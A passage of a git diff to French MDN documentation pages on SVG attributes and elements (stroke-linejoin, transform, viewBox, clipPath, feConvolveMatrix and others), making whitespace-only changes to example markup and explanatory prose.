xmlns="http://www.w3.org/2000/svg"> - <!-- Effet de la valeur "square" --> - <path d="M1,1 h4" stroke="black" - stroke-linecap="square" /> + <!-- Effet de la valeur "square" --> + <path d="M1,1 h4" stroke="black" + stroke-linecap="square" /> - <!-- Effet de la valeur "square" sur un chemin de longueur zéro --> - <path d="M3,3 h0" stroke="black" - stroke-linecap="square" /> + <!-- Effet de la valeur "square" sur un chemin de longueur zéro --> + <path d="M3,3 h0" stroke="black" + stroke-linecap="square" /> - <!-- - Les lignes roses indiquent la position - du chemin pour chaque trait - --> - <path d="M1,1 h4" stroke="pink" stroke-width="0.025" /> + <!-- + Les lignes roses indiquent la position + du chemin pour chaque trait + --> + <path d="M1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> diff --git a/files/fr/web/svg/attribute/stroke-linejoin/index.md b/files/fr/web/svg/attribute/stroke-linejoin/index.md index 2794f48e80..bf94dd23d8 100644 --- a/files/fr/web/svg/attribute/stroke-linejoin/index.md +++ b/files/fr/web/svg/attribute/stroke-linejoin/index.md @@ -22,58 +22,58 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 18 12" xmlns="http://www.w3.org/2000/svg"> - <!-- - Chemin en haut à gauche: - Effet de la valeur "miter" - --> - <path d="M1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" - stroke-linejoin="miter" /> - - <!-- - Chemin en haut au milieu: - Effet de la valeur "round" - --> - <path d="M7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" - stroke-linejoin="round" /> - - <!-- - Chemin en haut à droite: - Effet de la valeur "bevel" - --> - <path d="M13,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" - stroke-linejoin="bevel" /> - - <!-- - Chemin en bas à gauche: - Effet de la valeur "miter-clip" - se replit sur la valeur par défaut (miter) si non pris en charge - --> - <path d="M3,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" - stroke-linejoin="miter-clip" /> - - <!-- - Chemin en bas à droite: - Effet de la valeur "arcs" - se replit sur la valeur par défaut (miter) si non pris en charge - --> - <path d="M9,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" - stroke-linejoin="arcs" /> - - <!-- - Lignes roses qui indiquent la position - du chemin pour chaque trait - --> - <g id="highlight"> - <path d="M1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" - stroke="pink" fill="none" stroke-width="0.025" /> - <circle cx="1" cy="5" r="0.05" fill="pink" /> - <circle cx="3" cy="2" r="0.05" fill="pink" /> - <circle cx="5" cy="5.5" r="0.05" fill="pink" /> - </g> - <use xlink:href="#highlight" x="6" /> - <use xlink:href="#highlight" x="12" /> - <use xlink:href="#highlight" x="2" y="6" /> - <use xlink:href="#highlight" x="8" y="6" /> + <!-- + Chemin en haut à gauche: + Effet de la valeur "miter" + --> + <path d="M1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" + stroke-linejoin="miter" /> + + <!-- + Chemin en haut au milieu: + Effet de la valeur "round" + --> + <path d="M7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" + stroke-linejoin="round" /> + + <!-- + Chemin en haut à droite: + Effet de la valeur "bevel" + --> + <path d="M13,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" + stroke-linejoin="bevel" /> + + <!-- + Chemin en bas à gauche: + Effet de la valeur "miter-clip" + se replit sur la valeur par défaut (miter) si non pris en charge + --> + <path d="M3,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" + stroke-linejoin="miter-clip" /> + + <!-- + Chemin en bas à droite: + Effet de la valeur "arcs" + se replit sur la valeur par défaut (miter) si non pris en charge + --> + <path d="M9,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" + stroke-linejoin="arcs" /> + + <!-- + Lignes roses qui indiquent la position + du chemin pour chaque trait + --> + <g id="highlight"> + <path d="M1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" + stroke="pink" fill="none" stroke-width="0.025" /> + <circle cx="1" cy="5" r="0.05" fill="pink" /> + <circle cx="3" cy="2" r="0.05" fill="pink" /> + <circle cx="5" cy="5.5" r="0.05" fill="pink" /> + </g> + <use xlink:href="#highlight" x="6" /> + <use xlink:href="#highlight" x="12" /> + <use xlink:href="#highlight" x="2" y="6" /> + <use xlink:href="#highlight" x="8" y="6" /> </svg> ``` @@ -120,7 +120,7 @@ html,body,svg { height:100% } stroke-linejoin="arcs" /> <!-- - Lignes roses qui indiquent la position + Lignes roses qui indiquent la position du chemin pour chaque trait --> <g id="p"> @@ -195,7 +195,7 @@ html,body,svg { height:100% } <path d="M0,0 h10" stroke="red" stroke-dasharray="0.05" stroke-width="0.025"/> <!-- - Lignes roses qui indiquent la position + Lignes roses qui indiquent la position du chemin pour chaque trait --> <g> @@ -244,7 +244,7 @@ html,body,svg { height:100% } <path d="M0,0 h10" stroke="red" stroke-dasharray="0.05" stroke-width="0.025"/> <!-- - Lignes roses qui indiquent la position + Lignes roses qui indiquent la position du chemin pour chaque trait --> <g> diff --git a/files/fr/web/svg/attribute/stroke-opacity/index.md b/files/fr/web/svg/attribute/stroke-opacity/index.md index 7eababea65..c840462907 100644 --- a/files/fr/web/svg/attribute/stroke-opacity/index.md +++ b/files/fr/web/svg/attribute/stroke-opacity/index.md @@ -67,7 +67,7 @@ html,body,svg { height:100% } </tbody> </table> -> **Note :** SVG2 introduit les valeurs en pourcentage pour `stroke-opacity`, Cependant, ce n'est pas souvent pris en charge. pour le moment (_voir {{anch("Compatibilité des navigateurs")}} ci-dessous_), il est par conséquent recommendé d'utiliser les valeurs de l'intervalle `[0-1]`. +> **Note :** SVG2 introduit les valeurs en pourcentage pour `stroke-opacity`, Cependant, ce n'est pas souvent pris en charge. pour le moment (_voir {{anch("Compatibilité des navigateurs")}} ci-dessous_), il est par conséquent recommendé d'utiliser les valeurs de l'intervalle `[0-1]`. Il est important de savoir que le contour recouvre partiellement le remplissage d'une forme. Ainsi, un contour avec une opacité différente de 1 affichera partiellement le remplissage du dessous. Pour éviter cet effet, il est possible d'appliquer une opacité globale avec l'attribut {{SVGAttr('opacity')}} ou placer le contour derrière le remplissage avec {{SVGAttr('paint-order')}}. diff --git a/files/fr/web/svg/attribute/stroke-width/index.md b/files/fr/web/svg/attribute/stroke-width/index.md index a80300ad2a..3ccc50b247 100644 --- a/files/fr/web/svg/attribute/stroke-width/index.md +++ b/files/fr/web/svg/attribute/stroke-width/index.md @@ -46,7 +46,7 @@ html,body,svg { height:100% } <td> <strong ><a href="/docs/Web/SVG/Content_type#Length"><length></a></strong - > | + > | <strong ><a href="/docs/Web/SVG/Content_type#Percentage" ><percentage></a @@ -65,7 +65,7 @@ html,body,svg { height:100% } </tbody> </table> -> **Note :** SVG2 introduit les valeurs en pourcentage pour `stroke-width`, Cependant, ce n'est pas souvent pris en charge pour le moment (_voir {{anch('Compatibilité des navigateurs')}} ci-dessous_). Il est par conséquent recommandé d'utiliser les valeurs de l'intervalle `[0-1]`. +> **Note :** SVG2 introduit les valeurs en pourcentage pour `stroke-width`, Cependant, ce n'est pas souvent pris en charge pour le moment (_voir {{anch('Compatibilité des navigateurs')}} ci-dessous_). Il est par conséquent recommandé d'utiliser les valeurs de l'intervalle `[0-1]`. Une valeur en pourcentage est toujours calculée en tant que pourcentage de la longueur diagonale {{SVGAttr('viewBox')}} normalisée. diff --git a/files/fr/web/svg/attribute/transform/index.md b/files/fr/web/svg/attribute/transform/index.md index c5e38b93b8..2083854ea3 100644 --- a/files/fr/web/svg/attribute/transform/index.md +++ b/files/fr/web/svg/attribute/transform/index.md @@ -18,15 +18,15 @@ html,body,svg { height:100% } ```html <svg viewBox="-40 0 150 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - <g fill="grey" + <g fill="grey" transform="rotate(-10 50 100) translate(-36 45.5) skewX(40) scale(1 0.5)"> - <path id="heart" d="M 10,30 A 20,20 0,0,1 50,30 A 20,20 0,0,1 90,30 Q 90,60 50,90 Q 10,60 10,30 z" /> - </g> + <path id="heart" d="M 10,30 A 20,20 0,0,1 50,30 A 20,20 0,0,1 90,30 Q 90,60 50,90 Q 10,60 10,30 z" /> + </g> - <use xlink:href="#heart" fill="none" stroke="red"/> + <use xlink:href="#heart" fill="none" stroke="red"/> </svg> ``` @@ -126,20 +126,20 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> - <!-- Pas de translation --> - <rect x="5" y="5" width="40" height="40" fill="green" /> + <!-- Pas de translation --> + <rect x="5" y="5" width="40" height="40" fill="green" /> - <!-- Translation horizontale --> - <rect x="5" y="5" width="40" height="40" fill="blue" - transform="translate(50)" /> + <!-- Translation horizontale --> + <rect x="5" y="5" width="40" height="40" fill="blue" + transform="translate(50)" /> - <!-- Translation verticale --> - <rect x="5" y="5" width="40" height="40" fill="red" - transform="translate(0 50)" /> + <!-- Translation verticale --> + <rect x="5" y="5" width="40" height="40" fill="red" + transform="translate(0 50)" /> - <!-- Translation horizontale et verticale --> - <rect x="5" y="5" width="40" height="40" fill="yellow" - transform="translate(50,50)" /> + <!-- Translation horizontale et verticale --> + <rect x="5" y="5" width="40" height="40" fill="yellow" + transform="translate(50,50)" /> </svg> ``` @@ -157,20 +157,20 @@ html,body,svg { height:100% } ```html <svg viewBox="-50 -50 100 100" xmlns="http://www.w3.org/2000/svg"> - <!-- uniform scale --> - <circle cx="0" cy="0" r="10" fill="red" - transform="scale(4)" /> + <!-- uniform scale --> + <circle cx="0" cy="0" r="10" fill="red" + transform="scale(4)" /> - <!-- vertical scale --> - <circle cx="0" cy="0" r="10" fill="yellow" - transform="scale(1,4)" /> + <!-- vertical scale --> + <circle cx="0" cy="0" r="10" fill="yellow" + transform="scale(1,4)" /> - <!-- horizontal scale --> - <circle cx="0" cy="0" r="10" fill="pink" - transform="scale(4,1)" /> + <!-- horizontal scale --> + <circle cx="0" cy="0" r="10" fill="pink" + transform="scale(4,1)" /> - <!-- No scale --> - <circle cx="0" cy="0" r="10" fill="black" /> + <!-- No scale --> + <circle cx="0" cy="0" r="10" fill="black" /> </svg> ``` @@ -188,15 +188,15 @@ html,body,svg { height:100% } ```html <svg viewBox="-12 -2 34 14" xmlns="http://www.w3.org/2000/svg"> - <rect x="0" y="0" width="10" height="10" /> + <rect x="0" y="0" width="10" height="10" /> - <!-- rotation is done around the point 0,0 --> - <rect x="0" y="0" width="10" height="10" fill="red" - transform="rotate(100)" /> + <!-- rotation is done around the point 0,0 --> + <rect x="0" y="0" width="10" height="10" fill="red" + transform="rotate(100)" /> - <!-- rotation is done around the point 10,10 --> - <rect x="0" y="0" width="10" height="10" fill="green" - transform="rotate(100,10,10)" /> + <!-- rotation is done around the point 10,10 --> + <rect x="0" y="0" width="10" height="10" fill="green" + transform="rotate(100,10,10)" /> </svg> ``` @@ -214,10 +214,10 @@ html,body,svg { height:100% } ```html <svg viewBox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> - <rect x="-3" y="-3" width="6" height="6" /> + <rect x="-3" y="-3" width="6" height="6" /> - <rect x="-3" y="-3" width="6" height="6" fill="red" - transform="skewX(30)" /> + <rect x="-3" y="-3" width="6" height="6" fill="red" + transform="skewX(30)" /> </svg> ``` @@ -235,10 +235,10 @@ html,body,svg { height:100% } ```html <svg viewBox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> - <rect x="-3" y="-3" width="6" height="6" /> + <rect x="-3" y="-3" width="6" height="6" /> - <rect x="-3" y="-3" width="6" height="6" fill="red" - transform="skewY(30)" /> + <rect x="-3" y="-3" width="6" height="6" fill="red" + transform="skewY(30)" /> </svg> ``` diff --git a/files/fr/web/svg/attribute/viewbox/index.md b/files/fr/web/svg/attribute/viewbox/index.md index 2ade5dcb69..eb859254cf 100644 --- a/files/fr/web/svg/attribute/viewbox/index.md +++ b/files/fr/web/svg/attribute/viewbox/index.md @@ -8,11 +8,11 @@ translation_of: Web/SVG/Attribute/viewBox --- « [Sommaire de la référence des attributs SVG](/fr/SVG/Attribute) -L'attribut `viewBox` permet de spécifier qu'un groupe d'éléments graphiques s'étire afin de s'adapter à un élément conteneur. +L'attribut `viewBox` permet de spécifier qu'un groupe d'éléments graphiques s'étire afin de s'adapter à un élément conteneur. -La valeur de l'attribut `viewBox` est une liste de quatre nombres `min-x`, `min-y`, `width` et `height`, séparés par des espaces ou/et des virgules. Ces nombres spécifient un rectangle dans l'espace utilisateur, qui doit correspondre aux coins du viewport établis par l'élément SVG donné, ceci en prenant en compte l'attribut {{ SVGAttr("preserveAspectRatio") }}. +La valeur de l'attribut `viewBox` est une liste de quatre nombres `min-x`, `min-y`, `width` et `height`, séparés par des espaces ou/et des virgules. Ces nombres spécifient un rectangle dans l'espace utilisateur, qui doit correspondre aux coins du viewport établis par l'élément SVG donné, ceci en prenant en compte l'attribut {{ SVGAttr("preserveAspectRatio") }}. -Les valeurs négatives de `width` et `height` ne sont pas autorisées et une valeur à zéro désactive le rendu de l'élément. +Les valeurs négatives de `width` et `height` ne sont pas autorisées et une valeur à zéro désactive le rendu de l'élément. ## Contexte d'utilisation @@ -43,17 +43,17 @@ Les valeurs négatives de `width` et `height` ne sont pas autorisées et une va ## Exemple -Nous créons ici un viewport de 300×200 unités, ce qui fait que chaque unité de l'élément SVG correspondra à une unité du viewport. On aura donc un élément SVG dont le système de coordonnée ira de 0 à 300 en largeur et de 0 à 200 en hauteur : +Nous créons ici un viewport de 300×200 unités, ce qui fait que chaque unité de l'élément SVG correspondra à une unité du viewport. On aura donc un élément SVG dont le système de coordonnée ira de 0 à 300 en largeur et de 0 à 200 en hauteur : `<svg width="300" height="200"></svg>` -En ajoutant une notion de viewbox, nous transformons ce système de coordonnées afin qu'il aille de 0 à w à l'horizontale et de 0 à h à la verticale. Ici, ce sera donc 300/30 (=10) en x ce qui équivaut à 10 unités d'élément SVG pour 1 unité du viewport : +En ajoutant une notion de viewbox, nous transformons ce système de coordonnées afin qu'il aille de 0 à w à l'horizontale et de 0 à h à la verticale. Ici, ce sera donc 300/30 (=10) en x ce qui équivaut à 10 unités d'élément SVG pour 1 unité du viewport : `<svg width="300" height="200" viewBox="0 0 30 20"></svg>` ## Elements -Les éléments suivants peuvent utiliser l'attribut `viewBox` +Les éléments suivants peuvent utiliser l'attribut `viewBox` - {{ SVGElement("svg") }} - {{ SVGElement("symbol") }} diff --git a/files/fr/web/svg/attribute/width/index.md b/files/fr/web/svg/attribute/width/index.md index f86b517005..21d79085c8 100644 --- a/files/fr/web/svg/attribute/width/index.md +++ b/files/fr/web/svg/attribute/width/index.md @@ -5,9 +5,9 @@ translation_of: Web/SVG/Attribute/width --- « [SVG Attribute reference home](/fr/SVG/Attribute "en/SVG/Attribute") -Cet attribut indique une dimension horizontale `<length>` dans le système de coordonnées. La donnée (ou coordonnée) définie par cet attribut dépend de l'élément sur lequel il est appliqué. La plupart du temps, il représente la largeur de la région rectangulaire composant l'élément (voir les exceptions dans la documentation pour chaque type d'élément). +Cet attribut indique une dimension horizontale `<length>` dans le système de coordonnées. La donnée (ou coordonnée) définie par cet attribut dépend de l'élément sur lequel il est appliqué. La plupart du temps, il représente la largeur de la région rectangulaire composant l'élément (voir les exceptions dans la documentation pour chaque type d'élément). -Cet attribut doit être spécifié, hormis pour les éléments {{ SVGElement("svg") }} dont la valeur par défaut est de 100% (exepté pour l'élément racine {{ SVGElement("svg") }} qui possède un parent HTML), {{ SVGElement("filter") }} et {{ SVGElement("mask") }} dont la valeur par défaut est de 120%. +Cet attribut doit être spécifié, hormis pour les éléments {{ SVGElement("svg") }} dont la valeur par défaut est de 100% (exepté pour l'élément racine {{ SVGElement("svg") }} qui possède un parent HTML), {{ SVGElement("filter") }} et {{ SVGElement("mask") }} dont la valeur par défaut est de 120%. ## Contexte d'utilisation @@ -80,9 +80,9 @@ Cet attribut doit être spécifié, hormis pour les éléments {{ SVGElement("sv ## Eléments -Les éléments suivants peuvent utiliser l'attribut `width` : +Les éléments suivants peuvent utiliser l'attribut `width` : -- [Filter primitive elements](/fr/SVG/Element#FilterPrimitive "en/SVG/Element#FilterPrimitive") » +- [Filter primitive elements](/fr/SVG/Element#FilterPrimitive "en/SVG/Element#FilterPrimitive") » - {{ SVGElement("filter") }} - {{ SVGElement("foreignObject") }} - {{ SVGElement("image") }} diff --git a/files/fr/web/svg/element/animatetransform/index.md b/files/fr/web/svg/element/animatetransform/index.md index f8eec01ee7..3b8992f730 100644 --- a/files/fr/web/svg/element/animatetransform/index.md +++ b/files/fr/web/svg/element/animatetransform/index.md @@ -48,7 +48,7 @@ L'élément **`<animateTransform>`** permet d'animer un élement en appliquant u - [Attributs de ciblage d'animation](/fr/docs/SVG/Attribute#AnimationAttributeTarget "en/SVG/Attribute#AnimationAttributeTarget") » - [Attributs de chronométrage d'animation](/fr/docs/SVG/Attribute#AnimationTiming "en/SVG/Attribute#AnimationTiming") » - [Attributs de valeur d'animation](/fr/docs/SVG/Attribute#AnimationValue "en/SVG/Attribute#AnimationValue") » -- [Attributs d'ajout d'animations](/fr/docs/SVG/Attribute#AnimationAddition "en/SVG/Attribute#AnimationAddition") » +- [Attributs d'ajout d'animations](/fr/docs/SVG/Attribute#AnimationAddition "en/SVG/Attribute#AnimationAddition") » - {{ SVGAttr("externalResourcesRequired") }} ### Attributs spécifiques diff --git a/files/fr/web/svg/element/clippath/index.md b/files/fr/web/svg/element/clippath/index.md index 562237cd56..2fa4a9737e 100644 --- a/files/fr/web/svg/element/clippath/index.md +++ b/files/fr/web/svg/element/clippath/index.md @@ -8,7 +8,7 @@ translation_of: Web/SVG/Element/clipPath --- {{SVGRef}} -L'élément [SVG](/fr/docs/Web/SVG) **`<clipPath>`** définit un détourage. Ce détourage peut par la suite être appliqué sur une forme en utilisant la propriété {{SVGAttr("clip-path")}}. +L'élément [SVG](/fr/docs/Web/SVG) **`<clipPath>`** définit un détourage. Ce détourage peut par la suite être appliqué sur une forme en utilisant la propriété {{SVGAttr("clip-path")}}. Le détourage limite la zone dans laquelle l'élément sur lequel il est appliqué sera dessiné. Autrement dit, les parties de l'élément en dehors de la forme créée par le détourage ne seront pas affichées. @@ -20,19 +20,19 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 100 100"> - <clipPath id="myClip"> + <clipPath id="myClip"> <!-- La forme créée par le détourage est un simple cercle. --> - <circle cx="40" cy="35" r="35" /> - </clipPath> + <circle cx="40" cy="35" r="35" /> + </clipPath> <!-- Le coeur sans détourage, pour référence --> - <path id="heart" d="M10,30 A20,20,0,0,1,50,30 A20,20,0,0,1,90,30 Q90,60,50,90 Q10,60,10,30 Z" /> + <path id="heart" d="M10,30 A20,20,0,0,1,50,30 A20,20,0,0,1,90,30 Q90,60,50,90 Q10,60,10,30 Z" /> <!-- Le coeur avec détourage. Seule la partie à l'intérieur du cercle est visible. --> - <use clip-path="url(#myClip)" xlink:href="#heart" fill="red" /> + <use clip-path="url(#myClip)" xlink:href="#heart" fill="red" /> </svg> ``` @@ -59,7 +59,7 @@ Par défaut, les événements de pointeur ne sont pas déclenchés sur les régi - {{SVGAttr("clipPathUnits")}} - : Cet attribut définit le système de coordonnées pour le contenu de l'élément `<clipPath>`. - _Valeur_: `userSpaceOnUse`|`objectBoundingBox` ; _Valeur par défaut_: `userSpaceOnUse`; _Animation_: **oui** + _Valeur_: `userSpaceOnUse`|`objectBoundingBox` ; _Valeur par défaut_: `userSpaceOnUse`; _Animation_: **oui** ### Attributs globaux @@ -80,7 +80,7 @@ Par défaut, les événements de pointeur ne sont pas déclenchés sur les régi | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | -| {{SpecName("CSS Masks", "#ClipPathElement", "<clipPath>")}} | {{Spec2("CSS Masks")}} | | +| {{SpecName("CSS Masks", "#ClipPathElement", "<clipPath>")}} | {{Spec2("CSS Masks")}} | | | {{SpecName("SVG1.1", "masking.html#EstablishingANewClippingPath", "<clipPath>")}} | {{Spec2("SVG1.1")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/defs/index.md b/files/fr/web/svg/element/defs/index.md index 91f0b9ebe4..cf10e952db 100644 --- a/files/fr/web/svg/element/defs/index.md +++ b/files/fr/web/svg/element/defs/index.md @@ -27,7 +27,7 @@ Les éléments définis grâce à `defs` ne sont jamais directement générés ( </linearGradient> </defs> - <rect x="10" y="10" width="60" height="10" + <rect x="10" y="10" width="60" height="10" fill="url(#Gradient01)" /> </svg> ``` @@ -36,10 +36,10 @@ Les éléments définis grâce à `defs` ne sont jamais directement générés ( ### Attributs globaux -- [Conditional processing attributes](/fr/docs/Web/SVG/Attribute#ConditionalProccessing) » -- [Core attributes](/fr/docs/Web/SVG/Attribute#Core) » -- [Graphical event attributes](/fr/docs/Web/SVG/Attribute#GraphicalEvent) » -- [Presentation attributes](/fr/docs/Web/SVG/Attribute#Presentation) » +- [Conditional processing attributes](/fr/docs/Web/SVG/Attribute#ConditionalProccessing) » +- [Core attributes](/fr/docs/Web/SVG/Attribute#Core) » +- [Graphical event attributes](/fr/docs/Web/SVG/Attribute#GraphicalEvent) » +- [Presentation attributes](/fr/docs/Web/SVG/Attribute#Presentation) » - {{SVGAttr("class")}} - {{SVGAttr("style")}} - {{SVGAttr("externalResourcesRequired")}} @@ -57,7 +57,7 @@ Cet élément est implémenté par l'interface [`SVGDefsElement`](/fr/docs/Web/A | Spécification | Status | Commentaire | | ---------------------------------------------------------------------------- | ------------------------ | ------------------ | -| {{SpecName('SVG2', 'struct.html#Head', '<defs>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'struct.html#Head', '<defs>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'struct.html#Head', '<defs>')}} | {{Spec2('SVG1.1')}} | Initial definition | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/desc/index.md b/files/fr/web/svg/element/desc/index.md index e40cec135f..e905577409 100644 --- a/files/fr/web/svg/element/desc/index.md +++ b/files/fr/web/svg/element/desc/index.md @@ -21,7 +21,7 @@ Quand l'élément contenant une description apparaît à l'utilisateur sous form ### Attributs globaux -- [Attributs de base](/fr/docs/Web/SVG/Attribute#Attributs_de_base "en/SVG/Attribute#Core") » +- [Attributs de base](/fr/docs/Web/SVG/Attribute#Attributs_de_base "en/SVG/Attribute#Core") » - {{ SVGAttr("class") }} - {{ SVGAttr("style") }} @@ -29,7 +29,7 @@ Quand l'élément contenant une description apparaît à l'utilisateur sous form _(Aucun)_ -## Interface DOM +## Interface DOM Cet élément implémente l'interface [`SVGDescElement`](/fr/docs/Web/API/SVGDescElement "en/DOM/SVGDescElement"). diff --git a/files/fr/web/svg/element/ellipse/index.md b/files/fr/web/svg/element/ellipse/index.md index 8f5721456c..c9c210d70d 100644 --- a/files/fr/web/svg/element/ellipse/index.md +++ b/files/fr/web/svg/element/ellipse/index.md @@ -64,7 +64,7 @@ L'élément `ellipse` est une forme basique SVG,utilisé pour créer des ellipse | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | ------------------------ | ------------------------------------------- | -| {{SpecName('SVG2', 'shapes.html#EllipseElement', '<ellipse>')}} | {{Spec2('SVG2')}} | Ajout de la valeur `auto` pour `rx` et `ry` | +| {{SpecName('SVG2', 'shapes.html#EllipseElement', '<ellipse>')}} | {{Spec2('SVG2')}} | Ajout de la valeur `auto` pour `rx` et `ry` | | {{SpecName('SVG1.1', 'shapes.html#EllipseElement', '<ellipse>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Interface DOM diff --git a/files/fr/web/svg/element/fecomponenttransfer/index.md b/files/fr/web/svg/element/fecomponenttransfer/index.md index 5db55d9aa2..07497c5713 100644 --- a/files/fr/web/svg/element/fecomponenttransfer/index.md +++ b/files/fr/web/svg/element/fecomponenttransfer/index.md @@ -40,7 +40,7 @@ Cet élément implémente l'interface {{domxref("SVGFEComponentTransferElement") ### SVG ```html -<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 600 300"> +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 600 300"> <defs> <linearGradient id="rainbow" gradientUnits="userSpaceOnUse" x1="0" y1="0" x2="100%" y2="0"> <stop offset="0" stop-color="#ff0000"></stop> @@ -112,7 +112,7 @@ rect { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -| {{SpecName('Filters 1.0', '#feComponentTransferElement', '<feComponentTransfer>')}} | {{Spec2('Filters 1.0')}} | Spécifie que les fonctions de transfert non définies sont traitées comme si elles avaient été définies avec pour {{SVGAttr("type")}} `identity`. | +| {{SpecName('Filters 1.0', '#feComponentTransferElement', '<feComponentTransfer>')}} | {{Spec2('Filters 1.0')}} | Spécifie que les fonctions de transfert non définies sont traitées comme si elles avaient été définies avec pour {{SVGAttr("type")}} `identity`. | | {{SpecName('SVG1.1', 'filters.html#feComponentTransferElement', '<feComponentTransfer>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/feconvolvematrix/index.md b/files/fr/web/svg/element/feconvolvematrix/index.md index f2845a66d0..4d1ba5a071 100644 --- a/files/fr/web/svg/element/feconvolvematrix/index.md +++ b/files/fr/web/svg/element/feconvolvematrix/index.md @@ -13,13 +13,13 @@ La primitive de filtre [SVG](/fr/docs/Web/SVG) **`<feConvolveMatrix>`** applique Une convolution de matrice se fonde sur une matrice n par m (le noyau de convolution), qui décrit la façon dont une valeur de pixel donné de l'image en entrée est combinée avec celles des pixels de son voisinage pour aboutir à une valeur de pixel résultante. Chaque pixel du résultat est déterminé par l'application de la matrice noyau sur le pixel source correspondant et ses pixels voisins. La formule de convolution de base, appliquée à chaque valeur de couleur d'un pixel donné, est : -COLOR<sub>X,Y</sub> = ( - SUM <sub>I=0 to [<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderY</a>-1]</sub> { - SUM <sub>J=0 to [<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderX</a>-1]</sub> { - SOURCE <sub>X-<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementTargetXAttribute">targetX</a>+J, Y-<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementTargetYAttribute">targetY</a>+I</sub> \* [kernelMatrix](https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementKernelMatrixAttribute)<sub><a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderX</a>-J-1, <a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderY</a>-I-1</sub> - } - } - ) / [divisor](https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementDivisorAttribute) + [bias](https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementBiasAttribute) \* ALPHA<sub>X,Y</sub> +COLOR<sub>X,Y</sub> = ( + SUM <sub>I=0 to [<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderY</a>-1]</sub> { + SUM <sub>J=0 to [<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderX</a>-1]</sub> { + SOURCE <sub>X-<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementTargetXAttribute">targetX</a>+J, Y-<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementTargetYAttribute">targetY</a>+I</sub> \* [kernelMatrix](https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementKernelMatrixAttribute)<sub><a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderX</a>-J-1, <a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderY</a>-I-1</sub> + } + } + ) / [divisor](https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementDivisorAttribute) + [bias](https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementBiasAttribute) \* ALPHA<sub>X,Y</sub> dans laquelle @@ -112,7 +112,7 @@ Cet élément implémente l'interface {{domxref("SVGFEConvolveMatrixElement")}}. | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------- | -| {{SpecName("Filters 1.0", "#feConvolveMatrixElement", "<feConvolveMatrix>")}} | {{Spec2("Filters 1.0")}} | | +| {{SpecName("Filters 1.0", "#feConvolveMatrixElement", "<feConvolveMatrix>")}} | {{Spec2("Filters 1.0")}} | | | {{SpecName("SVG1.1", "filters.html#feConvolveMatrixElement", "<feConvolveMatrix>")}} | {{Spec2("SVG1.1")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/feimage/index.md b/files/fr/web/svg/element/feimage/index.md index f6c00eac7e..8acb56e010 100644 --- a/files/fr/web/svg/element/feimage/index.md +++ b/files/fr/web/svg/element/feimage/index.md @@ -8,7 +8,7 @@ translation_of: Web/SVG/Element/feImage --- {{SVGRef}} -La primitive de filtre [SVG](/fr/docs/Web/SVG) **`<feImage>`** extrait les données d'une image d'une source externe et retourne les pixels récupérés en sortie 